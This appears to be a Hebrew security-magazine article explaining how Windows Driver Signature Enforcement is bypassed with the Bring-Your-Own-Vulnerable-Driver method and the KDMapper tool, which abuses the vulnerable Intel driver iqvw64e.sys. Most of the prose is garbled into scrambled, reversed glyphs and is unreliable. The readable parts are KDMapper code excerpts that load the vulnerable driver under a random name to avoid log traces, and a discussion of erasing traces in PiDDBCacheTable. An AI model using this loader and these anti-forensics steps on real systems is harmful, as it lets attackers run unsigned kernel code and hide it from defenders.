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˫˧˩ˣ˶˟ ˫˧˞˟ˢ ˭ˣ˧˪ˠ˪ s-мсо ˪˷ DigitalWhisper! 

ˢ ˷ˡˣ˥˫˩ˬ ˨ˣ˯˥˞ ˧ˠ˧ˠˢ ˸˞ ˫˧ˤˣ˪ˮˢ ,ˣˡ˵˲˷ ˫˧˵˸˶ˬˢ ˫˧˰ˣ˶˧˞ˢ ˪˪˷ ˸ˣ˶ˬ˪ˣ ˭s ˮ˧˴˯ˢ ˸˞ s

ˢˣ ˸˧ˬˣ˵ˬˢˢ ˢˮ˧˴˯ˢ ˸˞ ˭ ,˸˧ˬ˪ˣ˰ ˷ˡˣ˥ˢ- ˢ˥˧˸˲ ˧˶˟ˡ ˣ˧ˢ˧ ˞˪. 
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ˡˣ˸˪ ˢ˟˶ ˢ ,˸˪˧ˠ ˧˷ˡˣ˸˪ ˢ˟˶ ˢ ,˯ˣ˪˧˲ ˭˟ˡˣ˸˪ ˢ˟˶ ˢ ,˟ˣ˦ ˫˷ ˪˞ˮ˸ˮˡˣ˸˪ ˢ˟˶ ˢ ,˧˵˯˟ˣ˶ˡ˲ ˶˧˲˯

ˡˣ˸˪ ˢ˟˶ ˢ ˭ˣ˪ˣ˟ˤ ˢ˪˧ˢˡˣ˸˪ ˢ˟˶ ˢ ˧ˣ˪ ˡ˧˟˶ˣˡˣ˸˪ ˢ˟˶ ˢ˭˶ˣ˵ ˡˢˣ˞! 
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 ˱˵˰ˬDSE  ˸˦˧˷ ˸˶ˤ˰˟BYOVD 

˸˞ˬ ˸˪˧ˠ ˧˷ 

 

ˢˬˡ˵ˢ 

ˡˣ˰ ˷˩πReal Mode ˢ˧ˢ ˫˧˧˵ ˷ˬˣ˷ˬˣ ˪˩˟ ˸˩˶˰ˬˢ ˢ˧ˢ ˡˣ˞ˬ ˪˵ ˱˵ˣ˸˪ ˫˰ ˸ˣ˶˦ˬ ˸ˣ˧ˮˣˡˤ ˸ˣˮ˷˪ ˸˞ 

˨˶ˡ ˸ˣ˪˧˰˲ ˸˩˶˰ˬˢ ˧ˡ˩ ˠ˧˷ˢ˪ ˸ˣ˶˦ˬ ˸ˣˬ˧ˣ˯ˬ Φ˨˶ˣ˞˪ ˫˧ˮ˷ˢ ˫˰ ˡˣ˰ ˡˣ˰ˣ ˸ˣˮˠˢ ˣ˲˯ˣˣ˸ˢ˷ ˬ˪˸˩˶˰ Σ

ˢ˰˲˷ˢ ˪˰ ˨˶ˡ ˸ˣ˪˧˰˲ ˸˩˶˰ˬˢ ˢ˩˲ˢ ˶˸ˣ˧˪ ˢ˷˵ Σˡ˥ˣ˧ˬ˟ ˫˰ DSE ύDriver Signature Enforcement Φό 

DSE ˞ˣˢ ˭ˣˮˠˮˬ ˢ˲˧˩˞ ˫˧˧˵˷ ˸ˣ˩˶˰ˬ˟ Windows 10 xπ11 ˶˴ˣˮ˷ ˧ˡ˩ ˰ˣˮˬ˪ ˬπDriver ˞˪˷ ˶˷ˣ˞ˬ ˪˰ ˧ˡ˧ 

Windows/Microsoft ˸ˣ˪˰˪ ˭ˣ˶˩ˤ˪ ˪˷ ˸˩˶˰ˬˢ Σˢˬ ˪ˣ˩˧˷ ˵˧ˤˢ˪ ˡˣ˞ˬ ˪˪ˠ˟ ˷πDrivers ˫˧˴˶ ˟πKernel 

Mode ύ˶ˣˤ˧˞ ˢ˴˧˶ ˢˣˣ˷ ˸˩˶˰ˬ˪ ˢ˪˰˲ˢˢ Σ˦˰ˬ˩ ˧˸˪˟ˣ ˪˟ˠˣˬΦό 

πsSignature ˪˷ Driver ˞ˣˢ ˫˴˰˟ metadata ˭˸˧ˮ˷ ˶˟˧˧˶ˡ˪ ˧˶˥˞ ˸˧˧ˮ˵ Driver Certificate  ˸˶˟˥ˬ

Microsoft ˶˷˞ˬ˷ ˸˞ ˸ˣˮ˧ˬ˞ sπDriver Σ˨˩ ˢ˷πDriver ˪ˣ˩˧ ˳ˣ˶˪ ˪˰ ˪˩ ˸˩˶˰ˬ ˪˷ WindowsΦ 

˞ˬ˟˶ˬ ˢˤ ˶˟ˡ˞ ˪˰ ˢ˦˧˷ ˢ˰ˣˡ˧ ˨˞ ˢ˪˧˰˧ ˱ˣ˵˰˪ ˸˞ ˭ˣˮˠˮˬ DSEΥ BYOVD ύ˶ˣ˴˧˵ ˪˷:Bring Your Own 

Vulnerable Driver Σό˧ˮ˞ ˢ˞˶˞ ˞ˬˠˣˡ ˷ˣˬ˧˷˪ ˢ˦˧˷˟ ˣˤˢ ˢ˶ˣ˴˟ ˢ˞˧˟ˬ˷ ˱˵ˣ˸˪ ˸˪ˣ˩˧ ˭˧˰˦ˢ˪ ˭ˣ˶˩ˤ˪ 

˸˩˶˰ˬˢ Driver ˞˪ ˫ˣ˸˥ ˳˧˶ˢ˪ˣ ˣ˸ˣ˞ ˱ˣ˯˟˪ˣ ˧ˮ˞ ˥˸ˮ˞ Driver ˧˸˷˪ˣ˥ ˧ˮ˩ˡ˰ ˭˸˧ˮ˷ ˷ˢ˪˷ˬ˸ x˟ ˵˪˥˩ 

ˢ˵ˤˣˮˬ ˢˬˣˡ Φ˨˶ˣ˞˪ ˢˬˠˡˢˢ ˧ˮ˞ ˶˧˟˯˞ ˪˰ ˫˧ˠ˷ˣˬ Σ˫˧ˮˣˮˠˮˬ ˧ˮ˟ˬˣ ˫˧ˮˣ˸ˮ ˫˧ˮˣ˷ ˪ˮ˶˵˟ ˪˷ Windows 

˭˸˧ˮ˷ ˸ˣ˷˰˪ ˫ˢ˪ ˢ˧˴˪ˣ˲˧ˮˬ ˱˵ˣ˸˩ ˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ ˣˮ˸˶˦ˬΦ 

 

ˢˬ ˢˤ BYOVD ˫˴˰˟Κ 

˧˲˪ ˫˷ˢ ˪˷ ˢ˦˧˷ˢ π ˞ˣ˟˧˧ Driver ˧˸˷˪ˣ˥ ˨ˣ˸˪ ˸˩˶˰ˬˢ ˷ˣˬ˧˷ˣ x˟ ˧ˡ˩ ˠ˧˷ˢ˪ ˸ˣ˶˦ˬ ˣˡˤ˸ˣ˧ˮ Φ˸ˮ˧˰˦ 

Driver ˧˸˷˪ˣ˥ ˸˩˶˰ˬ˪ Windows ˣ˸˵ˤˢˣ ˸˩˶˰ˬ˪ ˫˧˪ˣ˩˧ ˰ˮˬˢ˪ ˢˬ˩˟ ˫˧˩˶ˡΥ 

мό Driver blocklist Υˢˬ˧˷˶ ˪˷ vulnerable Drivers ˸˩˶˰ˬ˷ Windows ˢ˵˧ˤ˥ˬ Φ˪˩ ˫˰˲ ˷πDriver 

˭˰˦ˮ ˞ˣˢ ˵ˡ˟ˮ ˡˠˮ˩ ˢ˸ˣ˞ ˢˬ˧˷˶ ˸˧˸˷˪ˣ˥ ˫˞ˣ ˞ˣˢ ˞˴ˬˮ ˢ˟ ˤ˞ ˢˮ˧˰˦ˢ ˪˷ sπDriver ˞˪ ˸˰˴ˣ˟ˬ 

нό Patchguard/hyperguard Υ˫˧ˮˣˮˠˮˬ ˸˰˧ˮˬ˪ ˢ˧˴˪ˣ˲˧ˮˬ ˪˷ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮ ˫˧˧ˤ˩˶ˬ ˸˩˶˰ˬ˟ Σˢ˶ˣ˴˟ xʕ 

˭˸˧ˮ ˰ˣˮˬ˪ ˱˵ˣ˸ˢˬ ˸ˣ˷˰˪ ˫˧˶˟ˡ ˫˧˧˸ˣ˰ˬ˷ˬ ˫˰ sπDriver ˢ˪˰ˣˢ˷ ˸˩˶˰ˬ˪ 

˨˞ ˪˰ˣ˲˟ ˨˶ˡˢ ˸˧ˤ˩˶ˬˢ ˢ˟˷ ˭˸˧ˮ ˰ˣˮˬ˪  ˸ˮ˧˰˦Driver ˧˸˷˪ˣ˥ ˢˤ ˸˶ˤ˰˟ Certificate Revoking Φ˨˶ˡ 

˨˧˪ˢ˸ˢ ˢˤˢ ˧˧ˬ˦˲ˣ˯ˣ˶˵ ˫˧˪ˣ˩˧ ˪ˣ˪˷˪ certificates ˫˧ˬ˧ˣ˯ˬ ˨˩ ˢ˷πDriver ˢˢˣˤ˧ ˪˰ ˧ˡ˧ ˸˩˶˰ˬˢ ˢˮ˩ˣ˸˩ 
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˞˪ ˸˶˷ˣ˞ˬ Φˢ˧˧˰˟ˢ ˨˶ˡ˟ ˣˤˢ Υ˪˪ˠ˟ backwards compatibility ˭ˣˮˠˮˬ˟ ˢˬ˧˸˥ˢ ˶ˣ˷˧˞ˣ ˸ˣˬ˧˸˥ˢ ˪˷ 

Windows ΣDriver ˣ˪˪˷˷ x˪ ˸˞ sπcertificate ˪˩˟ ˢ˶˵ˬ ˞˪ ˭˧˧˲ˣ˞˧ ˪˰ ˧ˡ˧ ˸˩˶˰ˬˢ ˩πDriver ˧˸˷˪ˣ˥: 

 

˶ˬˣ˪˩ Υ˸˶ˤ˰˟ ˧ˣˮ˧˷ ˪˷ metadata ˢˬπcertificate ˪˷ ˶˟˧˧˶ˡˢ Σˢ˞˴ˣ˸˩ˣ ˢˬ˞˸ˢˬ ˶ˣ˥˞˪ ˭ˣˮˠˮˬ˟ 

ˢˬ˧˸˥ˢ Σ˪˩ˣˮ ˫ˣ˶ˠ˪ ˪πDriver ˫˸˥ˮ˷ ˶˟˰˟ ˣ˪˪˷˷ˣ x˪ ˸˞ sπcertificate ˸ˣ˪˰˪ ˭ˣ˶˩ˤ˪ Φ˪˪ˠ˟ ˢˡ˟ˣ˰ xʕ 

˸˦˧˷ BYOVD ˸ˡ˟ˣ˰ π ˟ˣ˶˪ sπDrivers ˫˧˷ˬ˸˷ˬ˷ ˫ˢ˟ ˣ˷˰ ˶˟˩ revoke ˥˪ˢˬ˧˸ ˷˧ˣ ˫ˢ˟ ˢ˷˪ˣ˥ 

ˢ˰ˣˡ˧ ˭ˬˤ ˟˶ Σ˨˞ ˭˧˧ˡ˰ ˭˸˧ˮ ˭ˣ˰˦˪ ˫˸ˣ˞ ˸˩˶˰ˬ˪ Windows ˸˧ˮ˩ˡ˰ 

 

˞ˬˠˣˡ ˷ˣˬ˧˷˪ ˸˦˧˷˟ BYOVD π KDMapper 

˧ˬ ˶˧˩ˬ˷ ˶˟˩ ˸˞ ˧˪˩ˢ KDMapper ˪ˣ˩˧ ˠ˪ˡ˪ ˪˰ ˵˪˥ ˢˤ Σ˨˞ ˳˪ˬˣˬ ˶ˣ˟˰˪ ˣ˧˪˰ ˪˩˟ ˢ˶˵ˬ ˧˩ ˭˞˩ ˧ˮ˞ 

˨˪ˣˢ ˵ˣ˶˯˪ ˢ˶ˣ˴˟ ˢ˵˧ˬ˰ˬ ˸˞ ˡˣ˵ˢ ˪˷ ˧˪˩ˢ KDMapper ˧ˡ˩ ˷˧˥ˬˢ˪ ˢˬ ˭˸˧ˮ ˸ˣ˷˰˪ ˸˩˶˰ˬ˟ ˵˶ 

˸˶ˤ˰˟ ˸ˣ˞˷˶ˢ ˪ˢˮˬ xπDriver ˧˸˷˪ˣ˥ 

 

ˢˬ ˞ˣˢ KDMapperΚ  

˧˲˩ ˧˸ˮ˧˧˴˷ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ Σ˧˪˩ˢ KDMapper ˞ˣˢ ˢˮ˩ˣ˸ ˸˷ˬ˸˷ˬ˷ ˸˦˧˷˟ BYOVD ˫˰ sπDriver 

˧˸˷˪ˣ˥ˢ ˪˷ ˪˦ˮ˧˞ ύiqvw64e.sys ΣCVE-2015-2291 ό˧ˡ˩ ˭˧˰˦ˢ˪ ˭ˣ˶˩ˤ˪ ˪˷ ˸˩˶˰ˬˢ Unsigned Driver π 

Driver ˞˪˪ ˢˬ˧˸˥ ˸˧ˬ˷˶ ˪˷ Windows ΦπsDriver ˪ˮˢ ˵˧ˮ˰ˢ ˱˵ˣ˸˪ ˫˰ ˸ˣ˞˷˶ˢ ˪ˢˮˬ ύ˟˧˧˥ ˸ˣ˞˷˶ˢ 

˪ˢˮˬ ˧ˡ˩ ˶˷˵˸˪ ˫˰ Drivers ˸˶ˤ˰˟ APIs ˣˬ˩ DeviceIoControl ό˸ˣ˶˷˲˞ ˰˴˟˪ ˸ˣ˪ˣ˰˲ ˸ˣ˟˶ Σ˭ˢˮ˧˟ 

ˢ˟˧˸˩ ˢ˞˧˶˵ˣ ˭ˣ˶˩ˤˬ ˸˩˶˰ˬ Σˢ˞˴˵ˢ ˪˷ ˭ˣ˶˩ˤ ˸˩˶˰ˬ˟ ˢ˟˶ˢˬ ˫˧ˠˣ˯ ˫˧ˮˣ˷ ˢ˴˶ˢˣ ˪˷ ˡˣ˵ ˞˴ˬˮˢ 

˨ˣ˸˟ ˭ˣ˶˩ˤ ˸˩˶˰ˬΦ 
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˨˩ ˢ˞˶ˮ ˷ˣˬ˧˷ˢΥ 

 

˭ˣ˧ˠˢˢ ˧˶ˣ˥˞ˬ KDMapper xπUnsigned Driver Mappers ˫˧ˬˣˡΥ 

˧˪˩˪ KDMapper ˪xπ Unsigned Driver Mappers ˫˧ˬˣˡ ˷˧ ˨˶ˡ ˢ˪ˣ˰˲ ˢ˶ˣ˶˟ ˸˪˰˟ˣ ˢˬ˩ ˫˧˟˪˷Υ 

мό ˸ˮ˧˰˦ sπDriver ˧˸˷˪ˣ˥ˢ ˭ˣ˶˩ˤ˪ ˸˩˶˰ˬˢ 
 

нό ˸˞˟˥ˢ sπDriver ˧˸˷˪ˣ˥ˢ ˨˩ ˞˪˷ ˢ˧ˢ˧ ˶˩ˤ ˞ˣˢ˷ ˭˰˦ˣˢ ˣˢ˷˧˸ˬ ˸˩˶˰ˬ˪ ύ˞˪ ˢ˟ˣ˥ ΣKDMapper 

˷ˬˬˬ ˸˞ ˢˤ ˪˩˟ ˸˞ˤ ˨˶ˡˣ ˢˤ ˶ˣ˟˰ˮ ˪˰ ˫˧ˮˣˮˠˮˬ ˧ˮ˟ˬˣ ˫˧ˮˣ˸ˮ ˫˧˧˸ˣ˰ˬ˷ˬ ˡˣ˞ˬ ˸˩˶˰ˬ˟ό 
 

оό ˸˞˧˶˵ sπUnsigned Driver ˭ˣ˶˩ˤ˪ ˪˷ ˢˮ˩ˣ˸ˢ 
 

пό ˭ˣ˵˧˸ ˪˷ ˸ˣ˶ˡˠˢ ˸ˣˮˣ˷ ˪˷ sπDriver ˸ˬ˶˟ ˦ˬ˶ˣ˲ sπPE ύ˭ˣˠ˩ ˭ˣ˵˧˸ imports ˥˶˩ˢ˷˫˧˧ ˸ˣ˪˧˰˲˪ 

˸˩˶˰ˬˢ Σ˧ˡ˩ ˸ˮ˩ˣ˸˷ PE ˪˩ˣ˸ ˳ˣ˶˪ Σ˪˩ sπimports ˢ˪˷ ˸ˣ˩˧˶˴ ˸ˣ˧ˢ˪ ˸ˣˬ˞˸ˣˬ ˸˩˶˰ˬ˪ ˢ˧˪˰ 

ˢˮ˩ˣ˸ˢ ˸˴˶ˣˬό 
 

рό ˷ˣˬ˧˷ ˸ˣ˪ˣ˰˲˟ ˭˸˧ˮ˷ ˳˧˶ˢ˪ ˫˰ sπDriver ˧˸˷˪ˣ˥ˢ ˧ˡ˩ ˸ˣ˴˵ˢ˪ ˭ˣ˶˩ˤ ˸˩˶˰ˬ ˪πUnsigned Driver Σ

˟ˣ˸˩˪ ˣ˸ˣ˞˪ ˭ˣ˶˩ˤ ˸˞ sπDriver ˭˵ˣ˸ˬˢ ˞ˣ˶˵˪ˣ ˪πentry point ˪˷ sπDriver ύ˫ˠ ˸˞ ˭ˣ˸ˮ ˢˤ ˭˸˧ˮ 

ˠ˧˷ˢ˪ ˸ˣ˶ˡˠˢˢˬ ˪˷ sπDriver ˧˲˪ ˦ˬ˶ˣ˲ PEό 
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ˢ˶˧˵˯ ˢ˞˪ˬ ˪˷ ˧˪˩ˢ 

KDMapper ˪˧˥˸ˬ ˢˬ˩˟ ˸ˣ˵˧ˡ˟ ˸ˣ˧˯˧˯˟ ˣˬ˩ ˶˲˯ˬ ˫˧˶˦ˬ˶˲ ˣ˵˲ˣ˯˷ ˢˮ˩ˣ˸˪ Σˢˬ˞˸ˢ ˪˷ ˪ˣ˪˯ˬˢ ˪π

Unsigned Driver ˢˮ˩ˣ˸˪ ύ˫ˣ˧˵ ˪˷ ˳˟ˣ˵ˢ ˪ˣ˪˯ˬ˟ ˢˤˢ Σ˸ˬˣ˧˯ ˪˷ ˳˟ˣ˵ˢ ˧ˡ˩ ˞ˡˣˣ˪ ˷˞ˣˢ Driver Φό˪˪ˠ˟ 

˟˷πDriver ˢˤ ˷˧ ˶˲˯ˬ ˸ˣ˧ˣ˶˷˲˞ ˸˞˴˵ˢ˪ ˭ˣ˶˩ˤ ˸˩˶˰ˬ Σ˧˪˩ˢ ˫˞˸ˣˬ ˪˟˵˪ ˶˦ˬ˶˲ ˧˶˷˲˞ ˪˷ ˪ˠˡ 

˶˞˸˧˷ ˠˣ˯ ˧˲˧˴˲˯ ˪˷ ˭ˣ˶˩ˤ ˢ˞˴˵ˢ˪Υ 

int wmain( const int argc, wchar_t** argv) {  
    SetUnhandledExceptionFilter (SimplestCrashHandler);  
 
    bool free = par amExists (argc, argv, L"free" ) > 0;  
    bool mdlMode = paramExists (argc, argv, L"mdl" ) > 0;  
    bool indPagesMode = paramExists (argc, argv, L"indPages" ) > 0;  
    bool passAllocationPtr = paramExists (argc, argv, L"PassAllocationPtr" ) > 0;  
 
    if (free) {  
        Log( L"[+] Free pool memory after usage enabled" << std::endl);  
    }  
 
    if (mdlMode) {  
        Log( L"[+] Mdl memory usage enabled" << std::endl);  
    }  
 
    if (indPagesMode) {  
        Log( L"[+] Allocate Independent Pages mode enabled" << std::endl );  
    }  
 
    if (passAllocationPtr) {  
        Log( L"[+] Pass Allocation Ptr as first param enabled" << std::endl);  
    }  
 
    int drvIndex = - 1;  
    for ( int i = 1; i < argc; i++) {  
        if (std::filesystem:: path (argv[i]). extension (). string (). compare( " .sys" ) == 0) {  

            drvIndex = i;  
            break ;  
        }  
    }  
 
    if (drvIndex <= 0) {  
        help ();  
        return - 1;  
    }  
 
    const std::wstring driver_path = argv[drvIndex];  
 
    if (!std::filesystem:: exists (driver_path)) {  
        Log( L"[ - ] File " << driver_path << L" doesn't exist" << std::endl);  
        PauseIfParentIsExplorer ();  
        return - 1;  
    }  

 

˶˥˞˪ ˸ˣ˵˧ˡ˟ˢ ˸ˣ˧˯˧˯˟ˢ ˣ˪˪ˢ sπDriver Mapper ˞˶ˣ˵ ˪ˣ˰˲˪˸ˮ˧˰˦ ˸ sπDriver ˧˸˷˪ˣ˥ˢ Σˢ˶˵ˬ˟ ˢˤ 

intel_driver::Load() Φ 
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˸ˮ˧˰˦ sπDriver ˧˸˷˪ˣ˥ˢ 

˨˧˪ˢ˸ ˢˤ ˢ˪˧˥˸ˬ ˢ˵˧ˡ˟˟ ˢ˦ˣ˷˲ ˡˣ˞ˬ ˢˡ˰ˣˮ˷ ˞ˡˣˣ˪ ˢ˷πDriver ˧˸˷˪ˣ˥ˢ ˞˪ ˭ˣ˰˦ ˶˟˩ ˭ˣ˶˩ˤ˪ Σˢ˵˧ˡ˟ˣ 

ˣˤ ˸˰˴ˣ˟ˬ ˸˶ˤ˰˟ sπsymbolic link ˪˷ sπDriver ΦSymbolic link ˢˤ ˫˷ ˡ˥ˣ˧ˬ ˢˢˤˬ˷ Driver ˫˧ˣ˯ˬ 

ˢ˶ˣ˴˟ ˸˧˪˟ˣ˪ˠ ˶ˣ˟˰ ˪˩ ˸˩˶˰ˬˢ Σ˨˩ ˫˞˷ ˢ˴˶ˮ ˪˟˵˪ handle ˸˶ˣ˷˵˸˪ ˫˰ sπDriver ˪˩ˣˮ ˸ˣ˷˰˪ ˸˞ˤ 

˸˶ˤ˰˟ sπsymbolic linkΥ 

 

ˡ˴ˢˬ ˪˷ ˞˶ˣ˵ˢ ˢ˴ˣ˶˷ ˶˷˵˸˪ ˫˰ sπDriver ˨˧˪ˢ˸ˢ ˢ˞˶ˮ ˨˩Υ 

bool intel_driver: : IsRunning () {  
    const HANDLE file_handle = CreateFileW ( L" \ \ \ \ . \ \ Nal" , FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORM AL, nullptr);  

    if (file_handle != nul lptr && file_handle !=  INVALID_HANDLE_VALUE)  
    {  
        CloseHandle (file_handle);  
        return true ;  
    }  
    return false ;  
}  

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˸˧ˮ˟˸ˢ ˪˷ symbolic link ˢˮ˸˷ˬ ˭˧˟ kernel mode ύSymLinkName\\DosDevices\\ ό

˭˧˟˪ user mode ύSymLinkName\\.\\\\Φό 

˨˷ˬˢ ˨˧˪ˢ˸ˢ ˷ˬˬ ˦ˣ˷˲Υ 

мό ˸˶˧˴˧ ˪ˣ˪˯ˬ ˳˟ˣ˵˪ sπDriver ˧˸˷˪ˣ˥ˢ ύˢ˶˵ˬ˟ ˢˤ ˢˮ˩ˣ˸ˢ ˸˧˸˷˪ˣ˥ˢ ˸˶ˬ˷ˮ ˩πdump ˪˷ ˭ˣ˶˩ˤ ˟π

KDMapper ˢ˩˩ ˨˧˶˴˷ ˶ˣ˴˧˪ ˳˟ˣ˵ ˫˰ ˣ˸ˣ˞ ˭˩ˣ˸ ˪πService Φό˭˞˩ ˫˧˟˸ˣ˩ˢ ˣ˦˧˪˥ˢ ˸ˣ˧ˢ˪ ˫˧˶˧ˢˤ Σ˭˩˪ 

˫ˢ ˣˮ˸ˮ ˪πDriver ˫˷ ˧˪ˬˣˡˮ˶ ˣˬ˷ˣ ˣ˸ˣ˞ ˸˧˧˵˧˸˟ temp ύ˫˧˴˟˵˪ ˫˧˧ˮˬˤόΦ 
 

нό ˸˟˧˸˩ ˭˩ˣ˸ˢ ˪˷ sπDriver ˧˸˷˪ˣ˥ˢ ˨ˣ˸˪ ˪ˣ˪˯ˬˢ ˶˴ˣˮ˷. 
 

оό  ˫ˣ˷˧˶ ˳˟ˣ˵ sπDriver ˩πService ˧˪ˮ˶˵ ˣ˸˪˰˲ˢˣ Φ˸˞ ˟˪˷ ˢˤ ˭˸˧ˮ ˸ˣ˷˰˪ ˭ˣˣˠˬ˟ ˫˧˩˶ˡ Σ˭ˣˠ˩ ˷ˣˬ˧˷ 

π˟sc ˨˶ˡ cmd Σ˨˞ ˫˧˟˸ˣ˩ˢ ˣ˦˧˪˥ˢ ˸ˣ˷˰˪ ˢˡˣ˟˰ ˸˧ˮˡ˲˵ ˯˧ˮ˩ˢ˪ˣ ˸˞ ˫˧˩˶˰ˢ ˪˷ sπService ˡ˥˞ 

˧˶˥˞ ˧ˮ˷ˢ ˢ˶ˣ˴˟ ˸˧ˮˡ˧. 

  

file://DosDevices/SymLinkName
/SymLinkName
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˪˩ ˨˧˪ˢ˸ˢ ˢˤˢ ˶˞ˣ˸ˬ ˰˦˵˟ ˡˣ˵ˢ ˞˟ˢΥ 

//Randomize name for log in registry keys, usn jornal and other shits  
memset(intel_driver::driver_name, 0, sizeof (intel_driver::driver_name));  
static const char alphanum[] =  
 "abcdefghijklmnopqrstuvwxyz"  
 "ABCDEFGHIJKLMNOPQRSTUVWXYZ";  
int len = rand () % 20 + 10;  
for ( int i = 0; i < len; ++i)  
 intel_driver::driver_name[ i] = alphanum[ rand () % ( sizeof (alphanum) -  1)];  
Log( L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);  
std::wstring driver_path = GetDriverPath ();  
if (driver_path. empty()) {  
 Log( L"[ - ] Can't find TEMP folder" << std::endl);  
 return  INVALID_HANDLE_VALUE; 
}  
_wremove(driver_path. c_str ());  
if (!utils:: CreateFileFromMemory (driver_path, reinterpret_cast< const 
char *>(intel_driver_resource::driver), sizeof (intel_driver_resource::driver))) {  
 Log( L"[ - ] Failed to create vulnerable driver file " << std::endl);  
 return INVALID_HANDLE_VALUE; 
}  
if (!service:: RegisterAndStart (driver_path)) {  
 Log( L"[ - ] Failed to register and start service for the vulnerable driver" << std::endl);  
 _wremove(driver_path. c_str ());  
 return INVALID_HANDLE_VALUE; 
}  
HANDLE result = CreateFileW ( L" \ \ \ \ . \ \ Nal" , GENERIC_READ | GENERIC_WRITE, 0, nullptr, 
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  
if (!result || result == INVALID_HANDLE_VALUE)  
{  
 Log( L"[ - ] Failed to load driver iqvw64e.sys" << std::endl);  
 intel_driver:: Unload ( result);  
 return INVALID_HANDLE_VALUE; 
}  
ntoskrnlAddr = utils:: GetKernelModuleAddress ( "ntoskrnl.exe" );  
if (ntoskrnlAddr == 0) {  
 Log( L"[ - ] Failed to get ntoskrnl.exe" << std::endl);  
 intel_driver:: Unload (result);  
 return INVALID_HANDLE_VALUE; 
}  

ˢ˲ˬ ˢ˪˧˥˸ˬ ˢ˞˟˥ˢˢ ˪˷ ˫ˣ˧˵ sπService ˪˷ sπDriver ˧˸˷˪ˣ˥ˢ Σ˧ˡ˩ˣ ˸ˣ˷˰˪ ˸˞ˤ ˨˧˶˴ ˫ˡˣ˵ ˪˩ ˠ˧˷ˢ˪ 

˸˞ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˪˷ ˪ˮ˶˵ˢ Σntoskrnl.exeΦ ˸˟ˣ˸˩˟ ˯˧˯˟ xʕ sπMappers ˣ˷ˬ˸˷˧ ˢ˵˧˶˯˪ ˪˷ 

˫˧˵˪˥ξsections ˫˧ˮˣ˷ ˪ˮ˶˵˟ ˶ˣ˟˰ ˷ˣˬ˧˷ξˢ˧˴˪ˣ˲˧ˮˬ Σ˭ˣˠ˩ ˢ˞˧˴ˬ ˷ˣˬ˧˷ˣ ˟πkernel exports x˞ ˸˞˟˥ˢ 

˫˧ˮˣ˸ˮ ˧ˮ˟ˬˬ ˫˧ˮˣ˸ˮ ˫˧ˬ˧˧˵ ˪ˮ˶˵˟ ύˣ˞˶ ˨˷ˬˢ˟J Φό 

˧˲˩ ˧˸ˮ˧˧˴˷ ˶˟˩ ˞˪ ˢ˟ˣ˥ ˤ˩˶˸ˢ˪ ˸˞˟˥ˢ˟ sπService ˪˷ sπDriver ˧˸˷˪ˣ˥ˢ Σ˨˞ ˢˤ ˪ˣ˩˧ ˨ˣ˲ˢ˪ ˸˞ 

ˢˮ˧˰˦ˢ ˢˮ˧˰˦˪ ˸˧˞˷˥ ˢˬ˩ ˭˸˧ˮ˷ Φ˪˪ˠ˟ ˧ˮ˞˷ ˢ˴ˣ˶ ˶ˣ˵˯˪ ˸˞ ˸ˣˮˣ˧˰˶ˢ ˞˪ˣ ˵ˬ˰˸ˢ˪ ˭ˣ˶˸˲˟ ˫˧ˣ˯ˬ 

ύKDMapper Σό˧ˮ˞ ˫˧˷˞ l˷ˠ ˶˸ˣ˧ ˪˰ ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˫ˬ˴˰ ˢ˞˟˥ˢˢˣ ˪˷ sπentry ˫˧˞˸ˬˢ ˫ˢ˟ ˫ˣ˵ˬ˟ 

ˤ˩˶˸ˢ˪ ˷ˣˬ˧ˬ˟ ˧˲˧˴˲˯ˢΦ 
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˨˧˞ ˫˧˞˧˟˥ˬ DriverΚ 

˧ˮ˲˪ ˢ˞˟˥ˢˢ ˟ˣ˷˥ ˭˧˧˴˪ ˨˶ˡ˷ ˢ˞˟˥ˢˢ ˞˪ ˥˶˩ˢ˟ ˡˣ˟˰˸ ˡ˧˸˰˟ Σ˧ˮ˟ˬ ˫˧ˮˣ˸ˮˢ ˫˸ˣ˞˷ ˣˮ˥ˮ˞ ˢˮ˷ˮ 

˧ˡ˩ ˞˧˟˥ˢ˪ ˸˞ sπDriver ˫˧˪ˣ˩˧ ˸ˣˮ˸˷ˢ˪ ˫˧˟˧˩˶ˬ˟ ˫ˢ˪˷ x˞ ˪˧˲˞ x˪˩˟ ˢ˶˦ˬˢ ˸ˣˢˬˢˣ ˫ˢ˪˷ Σ˭˩˪ˣ 

˧ˡ˩ ˢ˞˟˥ˢ˷ ˸˞ˤ ˡˣ˟˰˸ ˡ˧˸˰˟ ˨˶˦˴ˮ ˸ˣˮ˷˪ ˭˲ˣ˞˟ ˰ˣ˟˵ ˸˞ ˨˧˪ˢ˸ˢΦ 

PiDDBCacheTableΥ 

ˢˮ˟ˬ ˫˧ˮˣ˸ˮ ˢˤ ˪˪ˣ˩ ˢˬ˧˷˶ ˪˷ ˪˩ sπloaded Drivers ˫˧˴˶˷ ˪˰ ˸˩˶˰ˬˢ Φ˰ˠ˶˟ ˷πDriver ˭˰˦ˮ ˸˶ˤ˰˟ 

NtLoadDriver ˸˲˯ˣˣ˸ˬ ˢˬˣ˷˶ ˣ˸ˣ˞˪ Driver ˢˬ˧˷˶˟ ˣˤˢ Φπsstruct ˪˷ ˪˩ ˢˬˣ˷˶ ˢˬ˧˷˶˟ ˢ˞˶ˮ ˨˩Υ 

 

˫˧˩˶˰ ˫˧˧ˤ˩˶ˬ ˢˮ˟ˬˢˬ ˪˷ ˪˩ ˢˬˣ˷˶Υ 

ListΥ ˶ˣ˷˧˵ ˪˷ sπentry ˪πentry ˞˟ˢ ˫ˡˣ˵ˢˣ ύ˶˟˯ˢ ˪˰ ˞˷ˣˮˢ ˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ˶ˬ˞ˬ "Windows Kernel  

 ˦˟ˬˬ˧˲˵˸ˢ˧˸ˬ˯˶˲˷ " ˭ˣ˧˪˧ˠ˟ мсн ˪˷ ˭˧ˤˠˬˢ( 

DriverNameΥ ˫˷ˢ ˪˷ sπDriver 

